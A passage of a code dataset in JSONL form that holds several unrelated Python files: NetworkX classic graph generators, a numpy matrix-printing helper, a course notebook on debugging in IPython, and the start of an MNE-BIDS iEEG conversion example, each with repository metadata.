Graphs\n#-------------------------------------------------------------------\nimport networkx as nx\nfrom networkx.utils import is_list_of_ints, flatten\n\ndef _tree_edges(n,r):\n    # helper function for trees\n    # yields edges in rooted tree at 0 with n nodes and branching ratio r\n    nodes=iter(range(n))\n    parents=[next(nodes)] # stack of max length r\n    while parents:\n        source=parents.pop(0)\n        for i in range(r):\n            try:\n                target=next(nodes)\n                parents.append(target)\n                yield source,target\n            except StopIteration:\n                break\n\ndef full_rary_tree(r, n, create_using=None):\n    \"\"\"Creates a full r-ary tree of n vertices.\n\n    Sometimes called a k-ary, n-ary, or m-ary tree.  \"... all non-leaf\n    vertices have exactly r children and all levels are full except\n    for some rightmost position of the bottom level (if a leaf at the\n    bottom level is missing, then so are all of the leaves to its\n    right.\" [1]_\n\n    Parameters\n    ----------\n    r : int\n        branching factor of the tree\n    n : int\n        Number of nodes in the tree\n    create_using : NetworkX graph type, optional\n        Use specified type to construct graph (default = networkx.Graph)\n\n    Returns\n    -------\n    G : networkx Graph\n        An r-ary tree with n nodes\n\n    References\n    ----------\n    .. [1] An introduction to data structures and algorithms,\n           James Andrew Storer,  Birkhauser Boston 2001, (page 225).\n    \"\"\"\n    G=nx.empty_graph(n,create_using)\n    G.add_edges_from(_tree_edges(n,r))\n    return G\n\ndef balanced_tree(r, h, create_using=None):\n    \"\"\"Return the perfectly balanced r-tree of height h.\n\n    Parameters\n    ----------\n    r : int\n        Branching factor of the tree\n    h : int\n        Height of the tree\n    create_using : NetworkX graph type, optional\n        Use specified type to construct graph (default = networkx.Graph)\n\n    Returns\n    -------\n    G : networkx Graph\n        A tree with n nodes\n\n    Notes\n    -----\n    This is the rooted tree where all leaves are at distance h from\n    the root. The root has degree r and all other internal nodes have\n    degree r+1.\n\n    Node labels are the integers 0 (the root) up to  number_of_nodes - 1.\n\n    Also refered to as a complete r-ary tree.\n    \"\"\"\n    # number of nodes is n=1+r+..+r^h\n    if r==1:\n        n=2\n    else:\n        n = int((1-r**(h+1))/(1-r)) # sum of geometric series r!=1\n    G=nx.empty_graph(n,create_using)\n    G.add_edges_from(_tree_edges(n,r))\n    return G\n\n    return nx.full_rary_tree(r,n,create_using)\n\ndef barbell_graph(m1,m2,create_using=None):\n    \"\"\"Return the Barbell Graph: two complete graphs connected by a path.\n\n    For m1 > 1 and m2 >= 0.\n\n    Two identical complete graphs K_{m1} form the left and right bells,\n    and are connected by a path P_{m2}.\n\n    The 2*m1+m2  nodes are numbered\n        0,...,m1-1 for the left barbell,\n        m1,...,m1+m2-1 for the path,\n        and m1+m2,...,2*m1+m2-1 for the right barbell.\n\n    The 3 subgraphs are joined via the edges (m1-1,m1) and (m1+m2-1,m1+m2).\n    If m2=0, this is merely two complete graphs joined together.\n\n    This graph is an extremal example in David Aldous\n    and Jim Fill's etext on Random Walks on Graphs.\n\n    \"\"\"\n    if create_using is not None and create_using.is_directed():\n        raise nx.NetworkXError(\"Directed Graph not supported\")\n    if m1<2:\n        raise nx.NetworkXError(\\\n              \"Invalid graph description, m1 should be >=2\")\n    if m2<0:\n        raise nx.NetworkXError(\\\n              \"Invalid graph description, m2 should be >=0\")\n\n    # left barbell\n    G=complete_graph(m1,create_using)\n    G.name=\"barbell_graph(%d,%d)\"%(m1,m2)\n\n    # connecting path\n    G.add_nodes_from([v for v in range(m1,m1+m2-1)])\n    if m2>1:\n        G.add_edges_from([(v,v+1) for v in range(m1,m1+m2-1)])\n    # right barbell\n    G.add_edges_from( (u,v) for u in range(m1+m2,2*m1+m2) for v in range(u+1,2*m1+m2))\n    # connect it up\n    G.add_edge(m1-1,m1)\n    if m2>0:\n        G.add_edge(m1+m2-1,m1+m2)\n    return G\n\ndef complete_graph(n,create_using=None):\n    \"\"\" Return the complete graph K_n with n nodes.\n\n    Node labels are the integers 0 to n-1.\n    \"\"\"\n    G=empty_graph(n,create_using)\n    G.name=\"complete_graph(%d)\"%(n)\n    if n>1:\n        if G.is_directed():\n            edges=itertools.permutations(range(n),2)\n        else:\n            edges=itertools.combinations(range(n),2)\n        G.add_edges_from(edges)\n    return G\n\n\ndef circular_ladder_graph(n,create_using=None):\n    \"\"\"Return the circular ladder graph CL_n of length n.\n\n    CL_n consists of two concentric n-cycles in which\n    each of the n pairs of concentric nodes are joined by an edge.\n\n    Node labels are the integers 0 to n-1\n\n    \"\"\"\n    G=ladder_graph(n,create_using)\n    G.name=\"circular_ladder_graph(%d)\"%n\n    G.add_edge(0,n-1)\n    G.add_edge(n,2*n-1)\n    return G\n\ndef cycle_graph(n,create_using=None):\n    \"\"\"Return the cycle graph C_n over n nodes.\n\n    C_n is the n-path with two end-nodes connected.\n\n    Node labels are the integers 0 to n-1\n    If create_using is a DiGraph, the direction is in increasing order.\n\n    \"\"\"\n    G=path_graph(n,create_using)\n    G.name=\"cycle_graph(%d)\"%n\n    if n>1: G.add_edge(n-1,0)\n    return G\n\ndef dorogovtsev_goltsev_mendes_graph(n,create_using=None):\n    \"\"\"Return the hierarchically constructed Dorogovtsev-Goltsev-Mendes graph.\n\n    n is the generation.\n    See: arXiv:/cond-mat/0112143 by Dorogovtsev, Goltsev and Mendes.\n\n    \"\"\"\n    if create_using is not None:\n        if create_using.is_directed():\n            raise nx.NetworkXError(\"Directed Graph not supported\")\n        if create_using.is_multigraph():\n            raise nx.NetworkXError(\"Multigraph not supported\")\n    G=empty_graph(0,create_using)\n    G.name=\"Dorogovtsev-Goltsev-Mendes Graph\"\n    G.add_edge(0,1)\n    if n==0:\n        return G\n    new_node = 2         # next node to be added\n    for i in range(1,n+1): #iterate over number of generations.\n        last_generation_edges = G.edges()\n        number_of_edges_in_last_generation = len(last_generation_edges)\n        for j in range(0,number_of_edges_in_last_generation):\n            G.add_edge(new_node,last_generation_edges[j][0])\n            G.add_edge(new_node,last_generation_edges[j][1])\n            new_node += 1\n    return G\n\ndef empty_graph(n=0,create_using=None):\n    \"\"\"Return the empty graph with n nodes and zero edges.\n\n    Node labels are the integers 0 to n-1\n\n    For example:\n    >>> G=nx.empty_graph(10)\n    >>> G.number_of_nodes()\n    10\n    >>> G.number_of_edges()\n    0\n\n    The variable create_using should point to a \"graph\"-like object that\n    will be cleaned (nodes and edges will be removed) and refitted as\n    an empty \"graph\" with n nodes with integer labels. This capability\n    is useful for specifying the class-nature of the resulting empty\n    \"graph\" (i.e. Graph, DiGraph, MyWeirdGraphClass, etc.).\n\n    The variable create_using has two main uses:\n    Firstly, the variable create_using can be used to create an\n    empty digraph, network,etc.  For example,\n\n    >>> n=10\n    >>> G=nx.empty_graph(n,create_using=nx.DiGraph())\n\n    will create an empty digraph on n nodes.\n\n    Secondly, one can pass an existing graph (digraph, pseudograph,\n    etc.) via create_using. For example, if G is an existing graph\n    (resp. digraph, pseudograph, etc.), then empty_graph(n,create_using=G)\n    will empty G (i.e. delete all nodes and edges using G.clear() in\n    base) and then add n nodes and zero edges, and return the modified\n    graph (resp. digraph, pseudograph, etc.).\n\n    See also create_empty_copy(G).\n\n    \"\"\"\n    if create_using is None:\n        # default empty graph is a simple graph\n        G=nx.Graph()\n    else:\n        G=create_using\n        G.clear()\n\n    G.add_nodes_from(range(n))\n    G.name=\"empty_graph(%d)\"%n\n    return G\n\ndef grid_2d_graph(m,n,periodic=False,create_using=None):\n    \"\"\" Return the 2d grid graph of mxn nodes,\n        each connected to its nearest neighbors.\n        Optional argument periodic=True will connect\n        boundary nodes via periodic boundary conditions.\n    \"\"\"\n    G=empty_graph(0,create_using)\n    G.name=\"grid_2d_graph\"\n    rows=range(m)\n    columns=range(n)\n    G.add_nodes_from( (i,j) for i in rows for j in columns )\n    G.add_edges_from( ((i,j),(i-1,j)) for i in rows for j in columns if i>0 )\n    G.add_edges_from( ((i,j),(i,j-1)) for i in rows for j in columns if j>0 )\n    if G.is_directed():\n        G.add_edges_from( ((i,j),(i+1,j)) for i in rows for j in columns if i<m-1 )\n        G.add_edges_from( ((i,j),(i,j+1)) for i in rows for j in columns if j<n-1 )\n    if periodic:\n        if n>2:\n            G.add_edges_from( ((i,0),(i,n-1)) for i in rows )\n            if G.is_directed():\n                G.add_edges_from( ((i,n-1),(i,0)) for i in rows )\n        if m>2:\n            G.add_edges_from( ((0,j),(m-1,j)) for j in columns )\n            if G.is_directed():\n                G.add_edges_from( ((m-1,j),(0,j)) for j in columns )\n        G.name=\"periodic_grid_2d_graph(%d,%d)\"%(m,n)\n    return G\n\n\ndef grid_graph(dim,periodic=False):\n    \"\"\" Return the n-dimensional grid graph.\n\n    The dimension is the length of the list 'dim' and the\n    size in each dimension is the value of the list element.\n\n    E.g. G=grid_graph(dim=[2,3]) produces a 2x3 grid graph.\n\n    If periodic=True then join grid edges with periodic boundary conditions.\n\n    \"\"\"\n    dlabel=\"%s\"%dim\n    if dim==[]:\n        G=empty_graph(0)\n        G.name=\"grid_graph(%s)\"%dim\n        return G\n    if not is_list_of_ints(dim):\n        raise nx.NetworkXError(\"dim is not a list of integers\")\n    if min(dim)<=0:\n        raise nx.NetworkXError(\\\n              \"dim is not a list of strictly positive integers\")\n    if periodic:\n        func=cycle_graph\n    else:\n        func=path_graph\n\n    dim=list(dim)\n    current_dim=dim.pop()\n    G=func(current_dim)\n    while len(dim)>0:\n        current_dim=dim.pop()\n        # order matters: copy before it is cleared during the creation of Gnew\n        Gold=G.copy()\n        Gnew=func(current_dim)\n        # explicit: create_using=None\n        # This is so that we get a new graph of Gnew's class.\n        G=nx.cartesian_product(Gnew,Gold)\n    # graph G is done but has labels of the form (1,(2,(3,1)))\n    # so relabel\n    H=nx.relabel_nodes(G, flatten)\n    H.name=\"grid_graph(%s)\"%dlabel\n    return H\n\ndef hypercube_graph(n):\n    \"\"\"Return the n-dimensional hypercube.\n\n    Node labels are the integers 0 to 2**n - 1.\n\n    \"\"\"\n    dim=n*[2]\n    G=grid_graph(dim)\n    G.name=\"hypercube_graph_(%d)\"%n\n    return G\n\ndef ladder_graph(n,create_using=None):\n    \"\"\"Return the Ladder graph of length n.\n\n    This is two rows of n nodes, with\n    each pair connected by a single edge.\n\n    Node labels are the integers 0 to 2*n - 1.\n\n    \"\"\"\n    if create_using is not None and create_using.is_directed():\n        raise nx.NetworkXError(\"Directed Graph not supported\")\n    G=empty_graph(2*n,create_using)\n    G.name=\"ladder_graph_(%d)\"%n\n    G.add_edges_from([(v,v+1) for v in range(n-1)])\n    G.add_edges_from([(v,v+1) for v in range(n,2*n-1)])\n    G.add_edges_from([(v,v+n) for v in range(n)])\n    return G\n\ndef lollipop_graph(m,n,create_using=None):\n    \"\"\"Return the Lollipop Graph; `K_m` connected to `P_n`.\n\n    This is the Barbell Graph without the right barbell.\n\n    For m>1 and n>=0, the complete graph K_m is connected to the\n    path P_n.  The resulting m+n nodes are labelled 0,...,m-1 for the\n    complete graph and m,...,m+n-1 for the path. The 2 subgraphs\n    are joined via the edge (m-1,m).  If n=0, this is merely a complete\n    graph.\n\n    Node labels are the integers 0 to number_of_nodes - 1.\n\n    (This graph is an extremal example in David Aldous and Jim\n    Fill's etext on Random Walks on Graphs.)\n\n    \"\"\"\n    if create_using is not None and create_using.is_directed():\n        raise nx.NetworkXError(\"Directed Graph not supported\")\n    if m<2:\n        raise nx.NetworkXError(\\\n              \"Invalid graph description, m should be >=2\")\n    if n<0:\n        raise nx.NetworkXError(\\\n              \"Invalid graph description, n should be >=0\")\n    # the ball\n    G=complete_graph(m,create_using)\n    # the stick\n    G.add_nodes_from([v for v in range(m,m+n)])\n    if n>1:\n        G.add_edges_from([(v,v+1) for v in range(m,m+n-1)])\n    # connect ball to stick\n    if m>0: G.add_edge(m-1,m)\n    G.name=\"lollipop_graph(%d,%d)\"%(m,n)\n    return G\n\n\ndef null_graph(create_using=None):\n    \"\"\"Return the Null graph with no nodes or edges.\n\n    See empty_graph for the use of create_using.\n\n    \"\"\"\n    G=empty_graph(0,create_using)\n    G.name=\"null_graph()\"\n    return G\n\ndef path_graph(n,create_using=None):\n    \"\"\"Return the Path graph P_n of n nodes linearly connected by n-1 edges.\n\n    Node labels are the integers 0 to n - 1.\n    If create_using is a DiGraph then the edges are directed in\n    increasing order.\n\n    \"\"\"\n    G=empty_graph(n,create_using)\n    G.name=\"path_graph(%d)\"%n\n    G.add_edges_from([(v,v+1) for v in range(n-1)])\n    return G\n\ndef star_graph(n,create_using=None):\n    \"\"\" Return the Star graph with n+1 nodes: one center node, connected to n outer nodes.\n\n   Node labels are the integers 0 to n.\n\n    \"\"\"\n    G=complete_bipartite_graph(1,n,create_using)\n    G.name=\"star_graph(%d)\"%n\n    return G\n\ndef trivial_graph(create_using=None):\n    \"\"\" Return the Trivial graph with one node (with integer label 0) and no edges.\n\n    \"\"\"\n    G=empty_graph(1,create_using)\n    G.name=\"trivial_graph()\"\n    return G\n\ndef wheel_graph(n,create_using=None):\n    \"\"\" Return the wheel graph: a single hub node connected to each node of the (n-1)-node cycle graph.\n\n   Node labels are the integers 0 to n - 1.\n\n    \"\"\"\n    if n == 0:\n        return nx.empty_graph(n, create_using=create_using)\n    G=star_graph(n-1,create_using)\n    G.name=\"wheel_graph(%d)\"%n\n    G.add_edges_from([(v,v+1) for v in range(1,n-1)])\n    if n>2:\n        G.add_edge(1,n-1)\n    return G\n\n", "meta": {"hexsha": "3f12d87314d4bc80940d5a558c29e90ebee7078a", "size": 15334, "ext": "py", "lang": "Python", "max_stars_repo_path": "networkx/generators/classic.py", "max_stars_repo_name": "jni/networkx", "max_stars_repo_head_hexsha": "d15361da366b77573777a1542741387c29f34717", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "networkx/generators/classic.py", "max_issues_repo_name": "jni/networkx", "max_issues_repo_head_hexsha": "d15361da366b77573777a1542741387c29f34717", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "networkx/generators/classic.py", "max_forks_repo_name": "jni/networkx", "max_forks_repo_head_hexsha": "d15361da366b77573777a1542741387c29f34717", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1034482759, "max_line_length": 103, "alphanum_fraction": 0.632450763, "include": true, "reason": "import networkx,from networkx", "num_tokens": 4192, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.11124121240045177, "lm_q1q2_score": 0.05085244261265252}}
{"text": "import numpy as np\ndef printer(x,column=True):\n    s=30\n    k,m=x.shape[-1],x.shape[-2]\n    print(\"\\n\"+\"-\"*((s+1)*k+1))\n    for i in range(m):\n        for j in range(k):\n            a=\">\"\n            if column==True and i==0:\n                a=\"^\"\n            print(\"|{0:{align}{space}}\".format(x[i][j],align=a,space=s),end=\"\")\n            if j==k-1:\n                print(\"|\")\n                if column==True and i==0:\n                    print(\"-\"*((s+1)*k+1))\n    print(\"-\"*((s+1)*k+1)+\"\\n\")\n\ndef matrixp(x):\n    a= \"\\n\"+r\"$$\\begin{pmatrix}\" + \"\\n\"\n    c= r\"\\end{pmatrix}$$\" + \"\\n\"\n    b= \"\"\n    k,m=x.shape[-1],x.shape[-2]\n    \n    for i in range(m):\n        func = lambda x : \"{:.3g}\".format(x) \n        f = np.vectorize(func)\n        b += \" & \".join(list(f(x[i]))) + r\"\\\\\" + \"\\n\"\n    return(a+b+c)\n", "meta": {"hexsha": "ee9efa04e8d2ef50dc0267bc1c6bc08dda118e4f", "size": 804, "ext": "py", "lang": "Python", "max_stars_repo_path": "lib/printer.py", "max_stars_repo_name": "plancky/mathematical_physics_II", "max_stars_repo_head_hexsha": "c912dca1a58c218ddb06dc6cbca021b03a703540", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lib/printer.py", "max_issues_repo_name": "plancky/mathematical_physics_II", "max_issues_repo_head_hexsha": "c912dca1a58c218ddb06dc6cbca021b03a703540", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lib/printer.py", "max_forks_repo_name": "plancky/mathematical_physics_II", "max_forks_repo_head_hexsha": "c912dca1a58c218ddb06dc6cbca021b03a703540", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.724137931, "max_line_length": 79, "alphanum_fraction": 0.4004975124, "include": true, "reason": "import numpy", "num_tokens": 267, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749485, "lm_q2_score": 0.11124121092722458, "lm_q1q2_score": 0.05085244193918629}}
{"text": "\n# coding: utf-8\n\n# <h1>Table of Contents<span class=\"tocSkip\"></span></h1>\n# <div class=\"toc\"><ul class=\"toc-item\"><li><span><a href=\"#Writing-Readable-Code\" data-toc-modified-id=\"Writing-Readable-Code-1\"><span class=\"toc-item-num\">1&nbsp;&nbsp;</span>Writing Readable Code</a></span><ul class=\"toc-item\"><li><span><a href=\"#Check-the-traceback\" data-toc-modified-id=\"Check-the-traceback-1.1\"><span class=\"toc-item-num\">1.1&nbsp;&nbsp;</span>Check the traceback</a></span></li><li><span><a href=\"#Inspect-the-local-variables\" data-toc-modified-id=\"Inspect-the-local-variables-1.2\"><span class=\"toc-item-num\">1.2&nbsp;&nbsp;</span>Inspect the local variables</a></span></li></ul></li><li><span><a href=\"#Getting-Help\" data-toc-modified-id=\"Getting-Help-2\"><span class=\"toc-item-num\">2&nbsp;&nbsp;</span>Getting Help</a></span><ul class=\"toc-item\"><li><span><a href=\"#Check-the-Docs\" data-toc-modified-id=\"Check-the-Docs-2.1\"><span class=\"toc-item-num\">2.1&nbsp;&nbsp;</span>Check the Docs</a></span></li><li><span><a href=\"#Hail-Mary\" data-toc-modified-id=\"Hail-Mary-2.2\"><span class=\"toc-item-num\">2.2&nbsp;&nbsp;</span>Hail Mary</a></span></li></ul></li></ul></div>\n\n# A significant portion of the time you spend on the problem sets in ATSC 301 will be spent debugging. In this notebook we discuss simple strategies to minimize hair loss and maximize coding pleasure. This problem is not worth any points, but we **strongly** encourage you to still go through it -- it will save you a ton of time in the future!\n# \n# ## Writing Readable Code\n# >Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.\n# >\n# >**Brian Kernighan**\n# \n# The number one key to easy debugging is writing readable code. A few helpful tips:\n# 1. Write short notes to yourself in the comments. These will help you to quickly orient yourself.\n# 2. Use descriptive variable names. Avoid naming variables things like `a` or `foo`, as you will easily forget what they were used for. \n#    1. An exception to this rule is when using temporary variables (e.g., counts), which can be as short as a single character.\n# 3. Try to write your code in a consistent style to ensure that it is predictable across problem sets. You'll thank yourself for this later!\n# 4. Don't reinvent the wheel. Check the docs to see if a particular function exists before you spend hours trying to implement it on your own. You'd be surprised at how often this happens.\n# \n# Although these tips won't save you from having to debug your code, they _will_ make the time you spend debugging much more productive. \n# \n# ##Debugging in the IPython Notebook\n# Imagine that a friend wrote you a function `plot_log` for plotting the function $\\log(x)$ over the interval $[1,2]$. How sweet! Their code is below:\n\n# In[1]:\n\n\n# for inline plotting in the notebook\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\ndef plot_log():\n    figure, axis = plt.subplots(2, 1)\n    x = np.linspace(1, 2, 10)\n    axis[0].plot(x, np.log(x))\n    plt.show()\n\nplot_log()  # Call the function, generate plot\n\n\n# Unfortunately, when you go to execute the code block, Python throws an error. Some friend! How can we fix the code so that it runs correctly?\n\n# ### Check the traceback\n# \n# The presence of a **traceback** (the multicolored text that appears when we try to run the preceding code block) is the first indication that your code isn't behaving correctly. In the current example the traceback suggests that an error is occurring at the method call `axis.plot(x, np.log(x))` on line 10. This is helpful, although somewhat baffling -- we used the same `axis.plot()` syntax in Notebook 4, and it ran fine! What's going on?\n\n# ### Inspect the local variables\n# \n# Inspecting the traceback gives us a general idea of where our issue is, but its output can often be fairly cryptic. A good next step is to inspect the local variables and objects defined during the execution of your code: if there's a mismatch between what the code _should_ be generating on each line and what it actually generates, you can trace it back until you've found the line containing the bug.\n# \n# In the current example, we might first try inspecting the variables and objects present on the line where the traceback indicates our error is occurring. These include the `axis` object, the local variable `x`, and the method call `np.log(x)`. We can do this with IPython's `debug` magic function, or by using `print` statements. Both methods are outlined below.\n\n# **Using the Interactive Debugger** \n# \n# The IPython magic function `%debug` pauses code execution upon encountering an error and drops us into an interactive debugging console. In the current example, this means that the code execution will pause just before running line 7. Once the debugger opens, we can inspect the local variables in the interactive debugger to see whether they match what we'd expect.\n# \n# To invoke the debugger, just type the magic command `%debug` in a new code cell immediately after encountering the error. When you run this new cell, it will drop you into a debugger where you can investigate what went wrong:\n\n# In[3]:\n\n\n# Uncomment the following line and run the cell to debug the previous function:\nget_ipython().run_line_magic('debug', '')\n\n\n# <div class=\"alert alert-danger\">\n# Warning: make sure you remove or comment out any <code>%debug</code> statements from your code before turning in your problem set. If you do not, then they will cause the grading scripts to break and you may not receive full credit. Always make sure you run the <code>nbgrader validate</code> commands in <a href=\"Submit.ipynb\">Submit.ipynb</a> and ensure that they complete properly before submitting your assignment!\n# </div>\n\n# If you run the above code block, you should see something like this:\n# \n# ```\n# > <ipython-input-4-cf8c844b7e23>(5)plot_log()\n#       4     x = np.linspace(1, 2, 10)\n# ----> 5     axis.plot(x, np.log(x))\n#       6     plt.show()\n# ipdb>\n# ```\n# The presence of the `ipdb>` prompt at the bottom indicates that we have entered the IPython debugger. Any command you enter here will be evaluated and its output will be returned in the console. To see the stock commands available within the debugger, type `h` (short for \"help\") at the prompt.   \n# ```\n# ipdb> h\n# Documented commands (type help <topic>):\n# ========================================\n# EOF    bt         cont      enable  jump  pdef   r        tbreak   w\n# a      c          continue  exit    l     pdoc   restart  u        whatis\n# alias  cl         d         h       list  pinfo  return   unalias  where\n# args   clear      debug     help    n     pp     run      unt\n# b      commands   disable   ignore  next  q      s        until\n# break  condition  down      j       p     quit   step     up\n# \n# Miscellaneous help topics:\n# ==========================\n# exec  pdb\n# \n# Undocumented commands:\n# ======================\n# retval  rv\n# ```\n# For information on a particular command, you can type `h` followed by the command. For example, to see what the `c` command does, type\n# ```\n# ipdb> h c\n# c(ont(inue))\n# Continue execution, only stop when a breakpoint is encountered.\n# ```\n# We can use the debugger to inspect the contents of the variables and objects defined so far in our code. For example, we can inspect the contents of our `axis` object by typing `axis` at the `ipdb>` prompt:\n# \n# ```\n# ipdb> axis\n# array([<matplotlib.axes._subplots.AxesSubplot object at 0x10a5e8950>,\n#        <matplotlib.axes._subplots.AxesSubplot object at 0x108dcf790>], dtype=object)\n# ```\n# \n# Aha! Instead of a single instance of the `matplotlib.axes` class (as we might expect), it appears that `axis` is actually an _array_ containing two separate `matplotlib.axes` instances. Why might this be? Tracing the `axis` object back to its definition on line 3, we  see that the `subplots` method is the culprit. Looking up [`subplots`](http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.subplots) in the matplotlib documentation, we see that this method returns as many axis objects as there are cells in a subplot grid. In our case, since we specified a grid of size $2 \\times 1$, it returned two separate axis objects inside a single array. When we asked Python to access the `plot` method of our array on line 7, it understandably got confused -- arrays don't have a `plot` method! With this in mind, we can adjust our code to resolve the issue. One solution would be ignore the second subplot entirely:\n\n# In[4]:\n\n\ndef plot_log():\n    figure, axis = plt.subplots()\n    x = np.linspace(1, 2, 10)\n    axis.plot(x, np.log(x))\n    plt.show()\nplot_log()  # Call the function, generate plot\n\n\n# **Using `print` Statements**\n# \n# An alternative technique for inspecting the behavior of your code is to check the values of local variables using `print` statements. The [`print`](https://docs.python.org/3/library/functions.html?highlight=print#print) command evaluates its argument and writes the result to the standard output. We could use a `print` statement to inspect the `ax` object in our `plot_log` function as follows:\n\n# In[5]:\n\n\ndef plot_log():\n    figure, axis = plt.subplots(2,1)\n    x = np.linspace(1, 2, 10)\n    print(axis)\n    axis.plot(x, np.log(x))\n    plt.show()\nplot_log()  # Call the function, generate plot\n\n\n# This runs the code to completion, resulting in the same error we saw earlier. However, because we placed the `print` statement in our code immediately before the error occurred, we see that IPython also printed the contents of the `axis` object above the traceback. Thus, `print` statements are an alternative means of checking the values of local variables without using the IPython debugger. Just remember to remove the `print` statements before validating your code!\n\n# ## Getting Help\n# \n# ### Check the Docs\n# \n# Although we will try to make this course as self-contained as possible, you may still need to refer to external sources while solving the homework problems. You can look up the documentation for a particular function within the IPython notebook by creating a new code block and typing the name of the function either preceded or succeeded by a `?`. For example, if you wanted to see the documentation for the matplotlib method `subplots`, you could write `?plt.subplots` (or `plt.sublots?`), which will open a pager displaying the docstring for `plt.subplots`:\n\n# In[ ]:\n\n\nget_ipython().run_line_magic('pinfo', 'plt.subplots')\n\n\n# If you'd prefer to look at the available functions in your web browser, links to the NumPy, Matplotlib, Python, and IPython Notebook online docs are below:\n# * Python 3: https://docs.python.org/3/genindex.html\n# * NumPy: http://docs.scipy.org/doc/numpy/genindex.html\n# * pyplot (matplotlib): http://matplotlib.org/api/pyplot_summary.html\n# * IPython Notebook: http://ipython.org/ipython-doc/2/notebook/index.html\n\n# ### Hail Mary\n# \n# If these techniques fail and you're still having trouble, the following suggestions may be of use:\n# 1. Copy and paste your error message into Google to see if anyone else has experienced similar problems. You'd be surprised how often this works!\n# 2. Search [StackOverflow](https://stackoverflow.com/questions/tagged/python)\n# 3. Consult fellow classmates\n# 4. Consult the GSIs\n", "meta": {"hexsha": "c30465eecd8d0c150de3ba72df19a9f3b55c2f16", "size": 11449, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/python/debugging_intro.py", "max_stars_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_stars_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/python/debugging_intro.py", "max_issues_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_issues_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/python/debugging_intro.py", "max_forks_repo_name": "Pearl-Ayem/ATSC_Notebook_Data", "max_forks_repo_head_hexsha": "c075d166c235ac4e68a4b77750e02b2a5e77abd0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 65.0511363636, "max_line_length": 1091, "alphanum_fraction": 0.7223338283, "include": true, "reason": "import numpy", "num_tokens": 2844, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2751297357103299, "lm_q2_score": 0.1847675016698433, "lm_q1q2_score": 0.050835033902281924}}
{"text": "\"\"\"\n.. currentmodule:: mne_bids\n\n====================================\n08. Convert iEEG data to BIDS format\n====================================\n\nIn this example, we use MNE-BIDS to create a BIDS-compatible directory of iEEG\ndata. Specifically, we will follow these steps:\n\n1. Download some iEEG data from the\n   `MNE-ECoG ex <https://mne.tools/stable/auto_tutorials/misc/plot_ecog>`_.\n\n2. Load the data, extract information, and save in a new BIDS directory.\n\n3. Check the result and compare it with the standard.\n\n4. Cite MNE-BIDS\n\n5. Confirm that written iEEG coordinates are the\n   same before :func:`write_raw_bids` was called.\n\nThe iEEG data will be written by :func:`write_raw_bids` with\nthe addition of extra metadata elements in the following files:\n\n    * sidecar.json\n    * electrodes.tsv\n    * coord_system.json\n    * events.tsv\n    * channels.tsv\n\nCompared to EEG data, the main differences are within the\ncoord_system and electrodes files.\nFor more information on these files,\nrefer to the iEEG-BIDS specification.\n\"\"\"\n\n# Authors: Adam Li <adam2392@gmail.com>\n# License: BSD (3-clause)\n\nimport os\nfrom pprint import pprint\nfrom collections import OrderedDict\nimport shutil\n\nimport numpy as np\n\nimport mne\nfrom mne_bids import (write_raw_bids, BIDSPath,\n                      read_raw_bids, print_dir_tree)\n\n###############################################################################\n# Step 1: Download the data\n# -------------------------\n#\n# First, we need some data to work with. We will use the\n# data downloaded via MNE-Python's API.\n#\n# `<https://mne.tools/stable/generated/mne.datasets.misc.data_path>`_.\n#\n# Conveniently, there is already a data loading function available with\n# MNE-Python:\n\nmisc_path = mne.datasets.misc.data_path(force_update=True)\n\n\n# The electrode coords data are in the tsv file format\n# which is easily read in using numpy\nfname = misc_path + '/ecog/sample_ecog_electrodes.tsv'\ndata = np.loadtxt(fname, dtype=str, delimiter='\\t',\n                  comments=None, encoding='utf-8')\ncolumn_names = data[0, :]\ninfo = data[1:, :]\nelectrode_tsv = OrderedDict()\nfor i, name in enumerate(column_names):\n    electrode_tsv[name] = info[:, i].tolist()\n\n# load in channel names\nch_names = electrode_tsv['name']\n# load in the xyz coordinates as a float\nelec = np.empty(shape=(len(ch_names), 3))\nfor ind, axis in enumerate(['x', 'y', 'z']):\n    elec[:, ind] = list(map(float, electrode_tsv[axis]))\n\n###############################################################################\n# Now we make a montage stating that the iEEG contacts are in MRI\n# coordinate system.\nmontage = mne.channels.make_dig_montage(ch_pos=dict(zip(ch_names, 